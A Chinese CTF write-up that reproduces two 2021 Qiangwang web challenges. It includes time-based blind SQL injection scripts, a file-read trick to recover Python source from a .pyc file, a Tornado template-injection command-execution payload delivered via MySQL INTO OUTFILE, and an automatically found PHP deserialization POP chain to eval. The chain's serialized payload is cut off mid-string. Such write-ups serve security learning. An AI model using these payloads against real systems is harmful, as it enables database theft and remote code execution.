image-20210722125749312

[toc]

前言

可惜啊,强网的时候正在某地 hvv 错过了。只能在赵师傅的平台上复现一下了。

托纳多

进入题目,一个登录框:

image-20210721140924235

Insert 注入点的 SQL 注入

在注册处存在 Sql 注入,单引号闭合,过滤了 <>=liketablescoluns 等字符和关键字。猜测注册逻辑的 Sql 语句如下:

1
insert into users (username, password) values ('$username', '$password');

首先尝试报错注入:

1
2
username: 0' or updatexml(1,concat(0x7c,database(),0x7c),1) or '0
password: 123456

失败,任何回显,然后尝试时间盲注,成功则有延迟,失败则弹窗 “this username had been used”:

1
2
username: 0' or if(ascii(substr((select database()),1,1))in(97),sleep(2),1) or '0
password: 123456

但是表名和列名难以获取,本题采用的考点为利用 information_schema.processlist 表读取目标环境正在执行的 Sql 语句,从而得到表名与列名。

巧妙读取表名与字段名

MySQL 的 PROCESSLIST 表提供了当前正在运行中的线程信息:

image-20210721153358794

可以通过该表读取目标环境正在执行的 Sql 语句,从而得到表名与列名。

如下构造 payload:

1
2
username: 0' or if(ascii(substr((select INFO from information_schema.processlist limit 0,1),1,1))in(97),sleep(2),1) or '0
password: 123456

如下编写时间盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import string
import time

strings = "qwertyuiopasdfghjklzxcvbnm1234567890/"

url = 'http://47.xxx.xxx.220:8086/register.php?username={0}&password=657260'
#payload = "0' or if(ascii(substr((select database()),{0},1))in({1}),sleep(2),1) or '0"
payload = "0' or if(ascii(substr((select INFO from information_schema.processlist limit {0},1),1,1))in({1}),sleep(2),1) or '0"

if __name__ == "__main__":
flag = ''
try:
for i in range(1, 60):
for j in strings:
time.sleep(0.5)
times = time.time()
r = requests.get(url=url.format(payload.format(i, ord(j))))
if time.time() - times >= 2:
flag += j
print(flag)
except Exception as e:
pass

得到表名为 qwbtttaaab111e,其中有两个字段 qwbqwbqwbuserqwbqwbqwbpass,然后构造 payload 读取 admin 的密码:

1
2
username: 0' or if(ascii(substr((select group_concat(qwbqwbqwbuser,0x7c,qwbqwbqwbpass) from qwbtttaaab111e),1,1))in(97),sleep(2),1) or '0
password: 123456

得到 admin 的密码为 we111c000me_to_qwb

还可以通过 performance_schema.file_instances 表读取表名和字段名,该file_instances表列出了在执行文件I / O检测时性能架构看到的所有文件。如果从未打开过磁盘上的文件,则该文件将不在其中file_instances。从磁盘删除文件后,该文件也会从file_instances表中删除。

我们可以用 performance_schema.file_instances 拿到对应的数据库的文件路径,例如 test 数据库的数据库文件路径就是 /var/lib/mysql/test/表.frm,这样我们就能获取到 test 库下的表名了:

1
select FILE_NAME from performance_schema.file_instances;

image-20210721180600260

image-20210721180628747

如上图所示,数据库名和数据库里的表名一目了然。有了表明之后,下一步就是想办法知道表结构了,即表里面的字段名。MySQL 会纪录执行的 Sql 语句到 performance_schema.events_statements_summary_by_digest 这张表中去。所以查询该表即可知道特定表中的字段结构:

1
select (DIGEST_TEXT) FROM performance_schema.events_statements_summary_by_digest;

image-20210721181151334

Payload 的构造和前面一样。

任意文件读取

拿到管理员 admin 的密码后直接登陆进去:

image-20210721172023382

发现一处在头像处存在一处任意文件读取,通过读取 /proc/self/cmdline 得知当前工作目录:

image-20210721181611723

Pyc 恢复源代码

P 神曾经说过:“据我长期观察,50%的CTF题目打开都是一个登陆页面,而其中又有60%的可以用各种方式拿到源码。”

但是本题禁止读取 .py 等后缀的文件,但是可以读取 .pyc 文件。.pyc 文件是一种二进制文件,是由 .py 文件经过编译后,生成的字节码文件,我们可以对 .pyc 文件进行反编译来得到 .py 文件的源码。.pyc 文件的命名规则为 __pycache__/文件名.cpython-2位版本号.pyc。由于这里的文件名为 app,版本号可以爆破一下。其实如果你留心的话,服务器在 HTTP 返回头中返回了 Tornado 版本号为Server: TornadoServer/6.0.3

image-20210721201517679

而该版本的 Tornado 只支持 Python 3.5 及其以上版本,因此这里只需要随便猜几次就猜到 Python 版本号了,版本为 Python 3.5。所以读取 .pyc 文件的 payload 如下:

1
/qwbimage.php?qwb_image_name=/qwb/app/__pycache__/app.cpython-35.pyc

image-20210721202801127

在 Burpsuite 里选中那一大段二进制内容,右键 Save To File 即可保存到文件。,然后使用 uncompyle6 工具对保存的 .pyc 文件进行反编译即可得到如下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
import tornado.ioloop
import tornado.web
import tornado.options
import pymysql
import os
import re

settings = {
"static_path": os.path.join(os.getcwd(), "static"),
"cookie_secret": "b93a9960-bfc0-11eb-b600-002b677144e0",
}

db_username = 'qwb'
db_password = 'qwb123456'


class MainHandler(tornado.web.RequestHandler):
def get(self):
user = self.get_secure_cookie("user")
if user and user == b'admin':
self.redirect("/admin.php", permanent=True)
return
self.render("index.html")


class LoginHandler(tornado.web.RequestHandler):
def get(self):
username = self.get_argument('username', '')
password = self.get_argument('password', '')
if not username or not password:
if not self.get_secure_cookie("user"):
self.finish("<script>alert(`please input your password and username`);history.go(-1);</script>")
return
elif self.get_secure_cookie("user") == b'admin':
self.redirect("/admin.php", permanent=True)
else :
self.redirect("/", permanent=True)
else:
conn=pymysql.connect('localhost',db_username,db_password,'qwb')
cursor = conn.cursor()
cursor.execute("SELECT * from qwbtttaaab111e where qwbqwbqwbuser=%s and qwbqwbqwbpass=%s" , [username, password])
results = cursor.fetchall()
if len(results) != 0 :
if results[0][1] == 'admin' :
self.set_secure_cookie('user','admin')
cursor.close()
conn.commit()
conn.close()
self.redirect("/admin.php", permanent=True)
return
else :
cursor.close()
conn.commit()
conn.close()
self.finish("<script>alert(`login success, but only admin can get flag`);history.go(-1);</script>")
return
else:
cursor.close()
conn.commit()
conn.close()
self.finish("<script>alert(`your username or password is error`);history.go(-1);</script>")
return


class RegisterHandler(tornado.web.RequestHandler):
def get(self):
username = self.get_argument('username', '')
password = self.get_argument('password', '')
word_bans = ['table','col', "sys",'union', 'inno','like','regexp']
bans = ["\"", "#", "%", "&", ";", "<", "=", ">", "\\", "^", "`", "|" ,"*",'--','+']
for ban in word_bans:
if re.search(ban, username, re.IGNORECASE): # 仅对 username 做了过滤, password 没有
self.finish("<script>alert(`error`);history.go(-1);</script>")
return
for ban in bans:
if ban in username:
self.finish("<script>alert(`error`);history.go(-1);</script>")
return
if not username or not password:
self.render('register.html')
return
else:
if username == 'admin':
self.render('register.html')
return
conn=pymysql.connect('localhost',db_username,db_password,'qwb')
cursor = conn.cursor()
try:
cursor.execute("SELECT qwbqwbqwbuser,qwbqwbqwbpass from qwbtttaaab111e where qwbqwbqwbuser='%s'" % (username))
results = cursor.fetchall()
if len(results) != 0:
self.finish("<script>alert(`this username had been used`);history.go(-1);</script>")
conn.commit()
conn.close()
return
except:
conn.commit()
conn.close()
self.finish("<script>alert(`error`);history.go(-1);</script>")
return
try:
cursor.execute("insert into qwbtttaaab111e (qwbqwbqwbuser, qwbqwbqwbpass) values(%s, %s)", [username, password])
conn.commit()
conn.close()
self.finish("<script>alert(`success`);location.href='/index.php';</script>")
return
except:
conn.rollback()
conn.close()
self.finish("<script>alert(`error`);history.go(-1);</script>")
return


class LogoutHandler(tornado.web.RequestHandler):
def get(self):
self.clear_all_cookies()
self.redirect("/", permanent=True)


class AdminHandler(tornado.web.RequestHandler):
def get(self):
user = self.get_secure_cookie("user")
if not user or user != b'admin':
self.redirect("/index.php", permanent=True)
return
self.render("admin.html")

class ImageHandler(tornado.web.RequestHandler):
def get(self):
user = self.get_secure_cookie("user")
image_name = self.get_argument('qwb_image_name', 'header.jpeg')
if not image_name:
self.redirect("/", permanent=True)
return
elif not user or user != b'admin':
self.redirect("/", permanent=True)
return
else:
if image_name.endswith(".py") or 'flag' in image_name or '..' in image_name:
self.finish("nonono, you can't read it.")
return
image_name = os.path.join("/qwb/app/" + "/image", image_name)
with open(image_name, 'rb') as f:
img = f.read()
self.set_header("Content-Type","image/jpeg")
self.finish(img)
return


class SecretHandler(tornado.web.RequestHandler):
def get(self):
if(len(tornado.web.RequestHandler._template_loaders)):
for i in tornado.web.RequestHandler._template_loaders:
tornado.web.RequestHandler._template_loaders[i].reset()
#tornado.web.RequestHandler._template_loaders[''].reset() #清除静态页面缓存
msg = self.get_argument('congratulations', 'oh! you find it')
black_func = ['eval', 'os', 'chr', 'class', 'compile', 'dir', 'exec', 'filter', 'attr', 'globals', 'help', 'input', 'local', 'memoryview', 'open', 'print', 'property', 'reload', 'object', 'reduce', 'repr', 'method', 'super', 'vars']
black_symbol = ["__", "'", '"', "$", "*", '{{']
black_keyword = ['or', 'and', 'while']
black_rce = ['render', 'module', 'include', 'raw']
bans = black_func + black_symbol + black_keyword + black_rce
for ban in bans:
if ban in msg:
self.finish("bad hack,go out!")
return
with open("/qwb/app/congratulations.html", 'w') as f:
f.write("""<html><head><title>congratulations</title></head><body><script type="text/javascript">alert("%s");location.href='/admin.php';</script></body></html>\n""" % msg)
f.flush()
self.render("congratulations.html")
if(tornado.web.RequestHandler._template_loaders):
for i in tornado.web.RequestHandler._template_loaders:
tornado.web.RequestHandler._template_loaders[i].reset()
#tornado.web.RequestHandler._template_loaders[''].reset() #清除静态页面缓存

def make_app():
return tornado.web.Application([
(r"/index.php", MainHandler),
(r"/login.php", LoginHandler),
(r"/logout.php", LogoutHandler),
(r"/register.php", RegisterHandler),
(r"/admin.php", AdminHandler),
(r"/qwbimage.php", ImageHandler),
(r"/good_job_my_ctfer.php", SecretHandler),
(r"/", MainHandler),
], **settings)


if __name__ == "__main__":
app = make_app()
app.listen(8000)
tornado.ioloop.IOLoop.current().start()
print('start')

Tornado 模板引擎 SSTI

在源码的最后可以看到还有一个 good_job_my_ctfer.php,其接收一个 congratulations 参数,经过黑名单检测然后由 render 进行渲染。这里便存在一个 SSTI 漏洞。

但是 SecretHandler 中过滤了很多东西,其中最致命的就是过滤了{{}}标签,我们需要用 {%%}` 标签绕过。而且 `{%%} 中的危险操作名也已经被过滤得差不多了,但在剩下的操作名中,还有一个操作是比较危险的,那就是 extends 操作,它的参数为一个文件名,该文件将会被作为模板文件被包含并被直接渲染。那么如果我们包含一个带有 SSTI 攻击的 Payload 的字符串的文件,那么便可以执行该 SSTI 的 Payload。因此我们现在需要往服务器上传一个符合条件的恶意文件。

如何往服务器上上传文件呢?我们读取 /proc/self/environ 可以发现:

image-20210721205813210

当前的 Python 应用为 mysql 用户权限启动,那么我们可以直接考虑通过注册功能处的 Sql 注入使用 MySQL 的 into outfile 语句写文件。这里分为两步,接通过注册功能实现。首先是往数据库里写东西,如下构造 Payload:

1
2
3
username: whoami
password: {% set return __import__("os").popen("ls /").read()%}
# 由于题目仅对 username 做了过滤, 而 password 没有,所以我们在 username 处构造 payload

第二步是将数据库里的数据导出至文件,在 MySQL 中的默认导出目录为 /var/lib/mysql-files/,其他目录是没有导出权限的,因此我们将文件导出至该文件夹,如下构造第二部分的 Payload:

1
2
username: 0' or 1 into outfile '/var/lib/mysql-files/whoami
password: 123456

成功写入后直接使用 extend 操作进行包含利用即可:

1
/good_job_my_ctfer.php?congratulations={% extends /var/lib/mysql-files/whoami %}

image-20210721214653449

如上图所示,成功执行命令,读取 flag 即可。

popmaster

开局给了一个反序列化接口 index.php:

1
2
3
4
5
6
7
8
<?php
include "class.php";
//class.php.txt
highlight_file(__FILE__);
$a = $_GET['pop'];
$b = $_GET['argv'];
$class = unserialize($a);
$class->hl0H1N($b);

还有一个 class.php,里面是一堆很长很长的代码,需要我们自己写个脚本自动找 POP 链。

首先编写第一个 PHP 脚本:

1
2
3
4
5
6
7
8
<?php
include "class.php";
error_reporting(0);
$method=[];
foreach (get_declared_classes() as $class){
$method = array_merge($method,[$class=>get_class_methods($class)]);
}
file_put_contents('func.txt',json_encode($method));

运行该脚本后会遍历 class.php 中所有的类以及类中的方法,并将其以 json 的格式写入到 func.txt 中:

image-20210722111158497

然后写两个 PHP 文件,一个用于获取函数的代码,另一个用于获取类中方法的参数:

  • getFuncCode.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include "class.php";
error_reporting(0);
function getFuncCode($cls, $func)
{
$cls = new ReflectionClass($cls); // ReflectionClass 类报告了一个类的有关信息
$func = $cls->getMethod($func); // 获取一个类方法的 ReflectionMethod
$start_line = $func->getStartLine(); // 获取该类方法的开始行号
$end_line = $func->getEndLine(); // 获取该类方法的结束行号
$length = $end_line - $start_line; // 获取该类方法的跨区
$source = file("class.php"); // 把整个 class.php 文件读入一个数组中
$body = implode("", array_slice($source, $start_line, $length)); // 获取指定跨区的代码内容, 即类方法的代码内容
print_r($body);
}
getFuncCode($_GET['cls'],$_GET['func']);
?>
  • getClassMetArgs.php
1
2
3
4
5
6
7
8
9
10
11
12
<?php
include "class.php";
// error_reporting(0);
function getFuncArgs($cls, $func)
{
$cls = new ReflectionClass($cls); // ReflectionClass 类报告了一个类的有关信息
$func = $cls->getMethod($func); // 获取一个类方法的 ReflectionMethod
$args = $func->getParameters(); // 获取参数
print_r($args[0]->name);
}
getFuncArgs($_GET['cls'],$_GET['func']);
?>

将上述两个脚本挂在 WEB 服务上,最后上 Python 脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import re
import json
import requests

f = open('class.php',"r",encoding="utf-8")
alltext = f.read()
f.close()
f = open('func.txt',"r",encoding="utf-8")
all_funcs = json.loads(f.read())
f.close()

def findfuncClass(function_name): # 在 all_funcs 中寻找指定的类方法名
for x in all_funcs:
if function_name in all_funcs[x]:
return x
pass
return None

def get_function_code(ccc,func): # 通过 getFuncCode.php 获取指定的类方法的代码内容
r = requests.get('http://127.0.0.1/getFuncCode.php?cls={}&func={}'.format(ccc,func))
return r.text

def get_function_args(ccc,func): # 通过 getClassMetArgs.php 获取指定的类方法的参数
r = requests.get('http://127.0.0.1/getClassMetArgs.php?cls={}&func={}'.format(ccc,func))
return r.text

def find_next_call(func,pop): #
ccc = findfuncClass(func)
if ccc!=None: # 如果指定的类方法名存在内容
func_txt = get_function_code(ccc ,func) # 则获取类方法的代码
if len(func_txt)>0:
args_txt = get_function_args(ccc,func) # 与参数
is_keyi = re.findall('{}\s*\=\s*(.*)\;'.format(args_txt),func_txt) # 获取例如 "$aDaDNw= $xYpiS" 中的 "$xYpiS"
if len(is_keyi)>0:
if is_keyi[0].find('$'+args_txt)==-1:
return
if func_txt.find('eval')>0:
pop+=' -> {}:{}'.format(ccc,func)
print(pop)
else:
call = re.findall("\$this->.*->(.*)\(",func_txt)
for x in call:
# print(pop)
find_next_call(x,pop+' -> {}:{}'.format(ccc,func))
pass

def findpoop(func):
find_next_call(func,'hl0H1N-> ')
pass

if __name__ == '__main__':
start_func = 'hl0H1N'
findpoop(start_func);

得到以下利用链:

1
hl0H1N->  -> KyVPQP:hl0H1N -> uG5evu:LLccSr -> OlWw1e:nLhtvb -> fixW0c:qy5bBn -> xoWKHv:GBEnHn -> qn0ORM:mlmcGm -> Q7uLNG:iT5nIf -> H2adHB:d3QcoX -> IAkALV:X7BfqG -> nITeZp:ivfIO4 -> ok7yId:uYqh94 -> HhAoyW:P0EYaz -> uGDwcf:l0imlg -> wQdbdg:hyVGg7 -> u58xg0:lrSnYY -> qnpWYk:i7istP -> EGk33d:OuA7gz -> XUruMz:WPM9Lb -> GKH7uw:LXm7zY -> fEIg3r:UDqUzm -> cwhEVX:w0gw1t -> wU47Lm:tvPPmc -> vwvFng:ivBYgb

根据得到的利用链构造 POP 链即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
<?php
class KyVPQP{
public $ul3Sm1U;
public function hl0H1N($xYpiS){
for($i = 0; $i < 33; $i ++){
$aDaDNw= $xYpiS;
}
if(method_exists($this->ul3Sm1U, 'LLccSr')) $this->ul3Sm1U->LLccSr($xYpiS);

}
}

class uG5evu{
public $S7DlwmF;
public function LLccSr($EnKgp){
$this->EYYQS = "feipo";
$this->S7DlwmF->nLhtvb($EnKgp);

}
}

class OlWw1e{
public $bRQKnGG;
public function nLhtvb($xzTUI){
for($i = 0; $i < 5; $i ++){
$aGe6qi= $xzTUI;
}
if(method_exists($this->bRQKnGG, 'qy5bBn')) $this->bRQKnGG->qy5bBn($xzTUI);
}
}

class fixW0c{
public $QUIdVVp;
public function qy5bBn($FYzQG){
if(5124>29026){
$FYzQG = $FYzQG.'CWZYY';
}
$this->QUIdVVp->GBEnHn($FYzQG);

}
}

class xoWKHv{
public $dIGeFZ5;
public function GBEnHn($O1mCE){
$this->niDlD = "tUoiC";
$this->dIGeFZ5->mlmcGm($O1mCE);

}
}

class qn0ORM{
public $cmcLV78;
public function mlmcGm($TdcsM){
for($i = 0; $i < 17; $i ++){
$aWIldI= $TdcsM;
}
if(method_exists($this->cmcLV78, 'iT5nIf')) $this->cmcLV78->iT5nIf($TdcsM);

}
}

class Q7uLNG{
public $VCzgXwh;
public function iT5nIf($GaAGy){
$this->wCXr0 = "MWyy7";
if(method_exists($this->VCzgXwh, 'd3QcoX')) $this->VCzgXwh->d3QcoX($GaAGy);
}
}

class H2adHB{
public $pgSmnl0;
public function d3QcoX($Uc2ip){
$this->mgx8t = "sMLnV";
$this->pgSmnl0->X7BfqG($Uc2ip);

}
}

class IAkALV{
public $bpakDWq;
public function X7BfqG($q2UKZ){
if(21179>3946){
$q2UKZ = $q2UKZ.'FvDdA';
}
if(method_exists($this->bpakDWq, 'ivfIO4')) $this->bpakDWq->ivfIO4($q2UKZ);

}
}

class nITeZp{
public $pvG9YnF;
public function ivfIO4($RD4Ag){
$this->Uz08a = "DUQeP";
if(method_exists($this->pvG9YnF, 'uYqh94')) $this->pvG9YnF->uYqh94($RD4Ag);

}
}

class ok7yId{
public $bhkQkEy;
public function uYqh94($rgmlT){
$this->e15VA = "yqO8E";
if(method_exists($this->bhkQkEy, 'P0EYaz')) $this->bhkQkEy->P0EYaz($rgmlT);

}
}

class HhAoyW{
public $HK03Hf9;
public function P0EYaz($fw0yR){
$this->smvLE = "VEwTl";
if(method_exists($this->HK03Hf9, 'l0imlg')) $this->HK03Hf9->l0imlg($fw0yR);

}
}

class uGDwcf{
public $hhLUdLY;
public function l0imlg($Aq7Wa){
for($i = 0; $i < 24; $i ++){
$aD0GgA= $Aq7Wa;
}
if(method_exists($this->hhLUdLY, 'hyVGg7')) $this->hhLUdLY->hyVGg7($Aq7Wa);

}
}

class wQdbdg{
public $by8UC2T;
public function hyVGg7($oDm5w){
for($i = 0; $i < 38; $i ++){
$aigOV0= $oDm5w;
}
if(method_exists($this->by8UC2T, 'lrSnYY')) $this->by8UC2T->lrSnYY($oDm5w);

}
}

class u58xg0{
public $KGk4Fz9;
public function lrSnYY($YWDFr){
if(41037>13858){
$YWDFr = $YWDFr.'LF7xM';
}
if(method_exists($this->KGk4Fz9, 'i7istP')) $this->KGk4Fz9->i7istP($YWDFr);

}
}

class qnpWYk{
public $Ww1DVXu;
public function i7istP($SgkyI){
$this->Gcpld = "GE7AX";
$this->Ww1DVXu->OuA7gz($SgkyI);

}
}

class EGk33d{
public $lNSPHPu;
public function OuA7gz($egqmu){
$this->qp8tE = "lBcm8";
$this->lNSPHPu->WPM9Lb($egqmu);

}
}

class XUruMz{
public $GXvgcvu;
public function WPM9Lb($Wdv5a){
for($i = 0; $i < 27; $i ++){
$alVZr9= $Wdv5a;
}
if(method_exists($this->GXvgcvu, 'LXm7zY')) $this->GXvgcvu->LXm7zY($Wdv5a);
}
}

class GKH7uw{
public $G1CWYox;
public function LXm7zY($F5zpB){
$this->gA3ZZ = "mkEVX";
$this->G1CWYox->UDqUzm($F5zpB);

}
}

class fEIg3r{
public $yD6cX9v;
public function UDqUzm($Sf0tk){
if(1610>59819){
$Sf0tk = $Sf0tk.'Laco2';
}
if(method_exists($this->yD6cX9v, 'w0gw1t')) $this->yD6cX9v->w0gw1t($Sf0tk);
}
}

class cwhEVX{
public $DBIrIzV;
public function w0gw1t($wDb83){
for($i = 0; $i < 26; $i ++){
$anlIhO= $wDb83;
}
if(method_exists($this->DBIrIzV, 'tvPPmc')) $this->DBIrIzV->tvPPmc($wDb83);
}
}

class wU47Lm{
public $PQnyBre;
public function tvPPmc($g1K9V){
$this->f5Bx3 = "oImtm";
$this->PQnyBre->ivBYgb($g1K9V);

}
}

class vwvFng{ // 最终的可执行类
public $Iku0LMa;
public function ivBYgb($Fp8tP){
if(58091>53562){
$Fp8tP = $Fp8tP.'rEn8G';
}
eval($Fp8tP);

}
public function UkzQK3($HuZBV){
eval($HuZBV);

}
}

$poc = new KyVPQP;
$poc -> ul3Sm1U = new uG5evu;
$poc -> ul3Sm1U -> S7DlwmF = new OlWw1e;
$poc -> ul3Sm1U -> S7DlwmF -> bRQKnGG = new fixW0c;
$poc -> ul3Sm1U -> S7DlwmF -> bRQKnGG -> QUIdVVp = new xoWKHv;
$poc -> ul3Sm1U -> S7DlwmF -> bRQKnGG -> QUIdVVp -> dIGeFZ5 = new qn0ORM;
$poc -> ul3Sm1U -> S7DlwmF -> bRQKnGG -> QUIdVVp -> dIGeFZ5 -> cmcLV78 = new Q7uLNG;
$poc -> ul3Sm1U -> S7DlwmF -> bRQKnGG -> QUIdVVp -> dIGeFZ5 -> cmcLV78 -> VCzgXwh = new H2adHB;
$poc -> ul3Sm1U -> S7DlwmF -> bRQKnGG -> QUIdVVp -> dIGeFZ5 -> cmcLV78 -> VCzgXwh -> pgSmnl0 = new IAkALV;
$poc -> ul3Sm1U -> S7DlwmF -> bRQKnGG -> QUIdVVp -> dIGeFZ5 -> cmcLV78 -> VCzgXwh -> pgSmnl0 -> bpakDWq = new nITeZp;
$poc -> ul3Sm1U -> S7DlwmF -> bRQKnGG -> QUIdVVp -> dIGeFZ5 -> cmcLV78 -> VCzgXwh -> pgSmnl0 -> bpakDWq -> pvG9YnF = new ok7yId;
$poc -> ul3Sm1U -> S7DlwmF -> bRQKnGG -> QUIdVVp -> dIGeFZ5 -> cmcLV78 -> VCzgXwh -> pgSmnl0 -> bpakDWq -> pvG9YnF -> bhkQkEy = new HhAoyW;
$poc -> ul3Sm1U -> S7DlwmF -> bRQKnGG -> QUIdVVp -> dIGeFZ5 -> cmcLV78 -> VCzgXwh -> pgSmnl0 -> bpakDWq -> pvG9YnF -> bhkQkEy -> HK03Hf9 = new uGDwcf;
$poc -> ul3Sm1U -> S7DlwmF -> bRQKnGG -> QUIdVVp -> dIGeFZ5 -> cmcLV78 -> VCzgXwh -> pgSmnl0 -> bpakDWq -> pvG9YnF -> bhkQkEy -> HK03Hf9 -> hhLUdLY = new wQdbdg;
$poc -> ul3Sm1U -> S7DlwmF -> bRQKnGG -> QUIdVVp -> dIGeFZ5 -> cmcLV78 -> VCzgXwh -> pgSmnl0 -> bpakDWq -> pvG9YnF -> bhkQkEy -> HK03Hf9 -> hhLUdLY -> by8UC2T = new u58xg0;
$poc -> ul3Sm1U -> S7DlwmF -> bRQKnGG -> QUIdVVp -> dIGeFZ5 -> cmcLV78 -> VCzgXwh -> pgSmnl0 -> bpakDWq -> pvG9YnF -> bhkQkEy -> HK03Hf9 -> hhLUdLY -> by8UC2T -> KGk4Fz9 = new qnpWYk;
$poc -> ul3Sm1U -> S7DlwmF -> bRQKnGG -> QUIdVVp -> dIGeFZ5 -> cmcLV78 -> VCzgXwh -> pgSmnl0 -> bpakDWq -> pvG9YnF -> bhkQkEy -> HK03Hf9 -> hhLUdLY -> by8UC2T -> KGk4Fz9 -> Ww1DVXu = new EGk33d;
$poc -> ul3Sm1U -> S7DlwmF -> bRQKnGG -> QUIdVVp -> dIGeFZ5 -> cmcLV78 -> VCzgXwh -> pgSmnl0 -> bpakDWq -> pvG9YnF -> bhkQkEy -> HK03Hf9 -> hhLUdLY -> by8UC2T -> KGk4Fz9 -> Ww1DVXu -> lNSPHPu = new XUruMz;
$poc -> ul3Sm1U -> S7DlwmF -> bRQKnGG -> QUIdVVp -> dIGeFZ5 -> cmcLV78 -> VCzgXwh -> pgSmnl0 -> bpakDWq -> pvG9YnF -> bhkQkEy -> HK03Hf9 -> hhLUdLY -> by8UC2T -> KGk4Fz9 -> Ww1DVXu -> lNSPHPu -> GXvgcvu = new GKH7uw;
$poc -> ul3Sm1U -> S7DlwmF -> bRQKnGG -> QUIdVVp -> dIGeFZ5 -> cmcLV78 -> VCzgXwh -> pgSmnl0 -> bpakDWq -> pvG9YnF -> bhkQkEy -> HK03Hf9 -> hhLUdLY -> by8UC2T -> KGk4Fz9 -> Ww1DVXu -> lNSPHPu -> GXvgcvu -> G1CWYox = new fEIg3r;
$poc -> ul3Sm1U -> S7DlwmF -> bRQKnGG -> QUIdVVp -> dIGeFZ5 -> cmcLV78 -> VCzgXwh -> pgSmnl0 -> bpakDWq -> pvG9YnF -> bhkQkEy -> HK03Hf9 -> hhLUdLY -> by8UC2T -> KGk4Fz9 -> Ww1DVXu -> lNSPHPu -> GXvgcvu -> G1CWYox -> yD6cX9v = new cwhEVX;
$poc -> ul3Sm1U -> S7DlwmF -> bRQKnGG -> QUIdVVp -> dIGeFZ5 -> cmcLV78 -> VCzgXwh -> pgSmnl0 -> bpakDWq -> pvG9YnF -> bhkQkEy -> HK03Hf9 -> hhLUdLY -> by8UC2T -> KGk4Fz9 -> Ww1DVXu -> lNSPHPu -> GXvgcvu -> G1CWYox -> yD6cX9v -> DBIrIzV = new wU47Lm;
$poc -> ul3Sm1U -> S7DlwmF -> bRQKnGG -> QUIdVVp -> dIGeFZ5 -> cmcLV78 -> VCzgXwh -> pgSmnl0 -> bpakDWq -> pvG9YnF -> bhkQkEy -> HK03Hf9 -> hhLUdLY -> by8UC2T -> KGk4Fz9 -> Ww1DVXu -> lNSPHPu -> GXvgcvu -> G1CWYox -> yD6cX9v -> DBIrIzV -> PQnyBre = new vwvFng();

echo urlencode(serialize($poc));
// 输出: O%3A6%3A%22KyVPQP%22%3A1%3A%7Bs%3A7%3A%22ul3Sm1U%22%3BO%3A6%3A%22uG5evu%22%3A1%3A%7Bs%3A7%3A%22S7DlwmF%22%3BO%3A6%3A%22OlWw1e%22%3A1%3A%7Bs%3A7%3A%22bRQKnGG%22%3BO%3A6%3A%22fixW0c%22%3A1%3A%7Bs%3A7%3A%22QUIdVVp%22%3BO%3A6%3A%22xoWKHv%22%3A1%3A%7Bs%3A7%3A%22dIGeFZ5%22%3BO%3A6%3A%22qn0ORM%22%3A1%3A%7Bs%3A7%3A%22cmcLV78%22%3BO%3A6%3A%22Q7uLNG%22%3A1%3A%7Bs%3A7%3A%22VCzgXwh%22%3BO%3A6%3A%22H2adHB%22%3A1%3A%7Bs%3A7%3A%22pgSmnl0%22%3BO%3A6%3A%22IAkALV%22%3A1%3A%7Bs%3A7%3A%22bpakDWq%22%3BO%3A6%3A%22nITeZp%22%3A1%3A%7Bs%3A7%3A%22pvG9YnF%22%3BO%3A6%3A%22ok7yId%22%3A1%3A%7Bs%3A7%3A%22bhkQkEy%22%3BO%3A6%3A%22HhAoyW%22%3A1%3A%7Bs%3A7%3A%22HK03Hf9%22%3BO%3A6%3A%22uGDwcf%22%3A1%3A%7Bs%3A7%3A%22hhLUdLY%22%3BO%3A6%3A%22wQdbdg%22%3A1%3A%7Bs%3A7%3A%22by8UC2T%22%3BO%3A6%3A%22u58xg0%22%3A1%3A%7Bs%3A7%3A%22KGk4Fz9%22%3BO%3A6%3A%22qnpWYk%22%3A1%3A%7Bs%3A7%3A%22Ww1DVXu%22%3BO%3A6%3A%22EGk33d%22%3A1%3A%7Bs%3A7%3A%22lNSPHPu%22%3BO%3A6%3A%22XUruMz%22%3A1%3A%7Bs%3A7%3A%22GXvgcvu%22%3BO%3A6%3A%22GKH7uw%22%3A1%3A%7Bs%3A7%3A%22G1CWYox%22%3BO%3A6%3A%22fEIg3r%22%3A1%3A%7Bs%3A7%3A%22yD6cX9v%22%3BO%3A6%3A%22cwhEVX%22%3A1%3A%7Bs%3A7%3A%22DBIrIzV%22%3BO%3A6%3A%22wU47Lm%22%3A1%3A%7Bs%3A7%3A%22PQnyBre%22%3BO%3A6%3A%22vwvFng%22%3A1%3A%7Bs%3A7%